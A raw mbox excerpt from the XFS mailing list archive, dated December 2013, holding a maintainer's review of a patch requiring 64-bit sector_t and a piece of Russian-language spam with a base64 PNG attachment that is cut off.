Y9kGEhvcuUVO2/j/OD4+NX4V9kUGERttOCTEcw793KdYeSCxtU6f/g/Pnn7m2pnTM7A/MpDY4CMh nrxQqfF0yL7IYGKDK2TXxvdL1wYW2/1jh0VlH2Y+YhlQbPBgFmZh/2RQse2zlNhySYktl5TYckmJ LZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYkt l5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2X lNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU 2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TY ckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhy SYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJ iS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HJJiS2XlNhySYktl5TYckmJ LZeU2HJJiS2XlNhySYktl5TYckmJLZeU2HIIwP8fmrazfVmcvW4AAAAASUVORK5CYII= ------=_NextPart_000_20EF_01CEFAB0.99FEBE00-- From bpm@sgi.com Mon Dec 16 16:16:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 777927F3F for ; Mon, 16 Dec 2013 16:16:02 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 503508F8033; Mon, 16 Dec 2013 14:15:59 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 342324266DC; Mon, 16 Dec 2013 16:15:59 -0600 (CST) Date: Mon, 16 Dec 2013 16:15:59 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: require 64-bit sector_t Message-ID: <20131216221559.GO1935@sgi.com> References: <20131114164603.GA13628@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131114164603.GA13628@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Christoph, On Thu, Nov 14, 2013 at 08:46:03AM -0800, Christoph Hellwig wrote: > Trying to support tiny disks only and saving a bit memory might have > made sense on an SGI O2 15 years ago, but is pretty pointless today. > > Remove the rarely tested codepath that uses various smaller in-memory > types to reduce our test matrix and make the codebase a little bit > smaller and less complicated. > > > Signed-off-by: Christoph Hellwig This looks ok to me. I'm not seeing much downside to removing the smaller in-memory types. Reviewed-by: Ben Myers Thanks, Ben From mch_swb@dl.gov.cn Mon Dec 16 16:34:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4AE7D7F3F for ; Mon, 16 Dec 2013 16:34:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 36392304059 for ; Mon, 16 Dec 2013 14:34:49 -0800 (PST) X-ASG-Debug-ID: 1387233285-04cbb041667b0d80001-NocioJ Received: from mail.dl.gov.cn (mail.dl.gov.cn [124.93.228.4]) by cuda.sgi.com with SMTP id vCox6MJUFGYi5xgq for ; Mon, 16 Dec 2013 14:34:45 -0800 (PST) X-Barracuda-Envelope-From: mch_swb@dl.gov.cn X-Barracuda-Apparent-Source-IP: 124.93.228.4 YmailServer-SMTP-Logined: mch_swb@dl.gov.cn Received: from 82.76.154.231 (HELO Unknown) ([82.76.154.231]) by YMailserver (STD Ymailserver v2.5 ESMTP) with SMTP ID 989; Tue, 17 Dec 2013 06:42:46 +0800 (CST) Message-ID: <7E143D0E25B74653AE5A06ACA3A19B93@mxtjxqg> Reply-To: =?windows-1251?B?0M7R0tDTxA==?= From: =?windows-1251?B?0M7R0tDTxA==?= To: , , , Subject: =?windows-1251?B?z+jx/OzuIMzo7fLw8+Q=?= Date: Mon, 16 Dec 2013 23:34:47 +0100 X-ASG-Orig-Subj: =?windows-1251?B?z+jx/OzuIMzo7fLw8+Q=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0729_01CEFAB7.67F7B810" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: mail.dl.gov.cn[124.93.228.4] X-Barracuda-Start-Time: 1387233285 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143154 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0729_01CEFAB7.67F7B810 Content-Type: multipart/alternative; boundary="----=_NextPart_001_072A_01CEFAB7.67F7B810" ------=_NextPart_001_072A_01CEFAB7.67F7B810 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB =E4=EB=FF =EE= =F2=E4=E5=EB=E0 =EA=E0=E4=F0=EE=E2 ------=_NextPart_001_072A_01CEFAB7.67F7B810 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =CD=EE=F0=EC=E0=F2=E8=E2=ED=FB=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB =E4=EB= =FF =EE=F2=E4=E5=EB=E0 =EA=E0=E4=F0=EE=E2
    ------=_NextPart_001_072A_01CEFAB7.67F7B810-- ------=_NextPart_000_0729_01CEFAB7.67F7B810 Content-Type: image/png; name="=?windows-1251?B?0OXq7uzl7eTg9ujoIO/uIO707vDs6+Xt6P4g?= =?windows-1251?B?8vDz5O7i+/Ug7vLt7vjl7ejpLnBuZw==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?0OXq7uzl7eTg9ujoIO/uIO707vDs6+Xt6P4g?= =?windows-1251?B?8vDz5O7i+/Ug7vLt7vjl7ejpLnBuZw==?=" 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 